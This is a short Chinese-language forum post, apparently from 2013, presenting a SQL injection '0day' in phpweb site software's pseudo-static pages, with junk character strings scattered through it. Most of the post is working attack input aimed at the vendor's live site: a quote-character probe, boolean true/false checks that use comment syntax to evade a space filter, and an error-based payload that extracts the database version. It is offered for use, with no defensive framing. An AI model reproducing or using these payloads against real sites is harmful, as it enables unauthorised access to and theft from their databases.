phpweb伪静态页面注入0day

admin

phpweb所有的整站程序伪静态页面都存在sql注入
2 U- U: o, D$ Q$ }; v6 [$ b
主站：http://phpweb.net/
加’检测：
- F! u0 }1 j8 n+ ~- D
+ m/ O3 @' X" H3 @. mhttp://www.phpweb.net/down/html/?772′.html

出错
9 Q" a* S0 ?# D9 B* s4 E! ]* Y% C存在注入。
不能用空格，只能用/*罗
1 e0 L% u. r7 f1 @  bhttp://www.phpweb.net/page/html/?56′/**/and/**/1=1/*.html 正常
, J; _/ P# u& Z% c
http://www.phpweb.net/page/html/?56′/**/and/**/1=2/*.html 出错.
: l$ l" P; R$ G) g. v  q) i+ g爆数据库版本：

?
8 D* x7 P% e' K' Z- h1
http://www.phpweb.net/page/html/?56'/**/and/**/(SELECT/**/1/**/from/**/(select/**/count(*),concat(floor(rand(0)*2),(substring((select(version())),1,62)))a/**/from/**/information_schema.tables/**/group/**/by/**/a)b)=1/*.html
1 `6 K, K( D  R更新日期: 2013-01-03 13:39:50        
  ~5 s- x# w  X: i- f/ P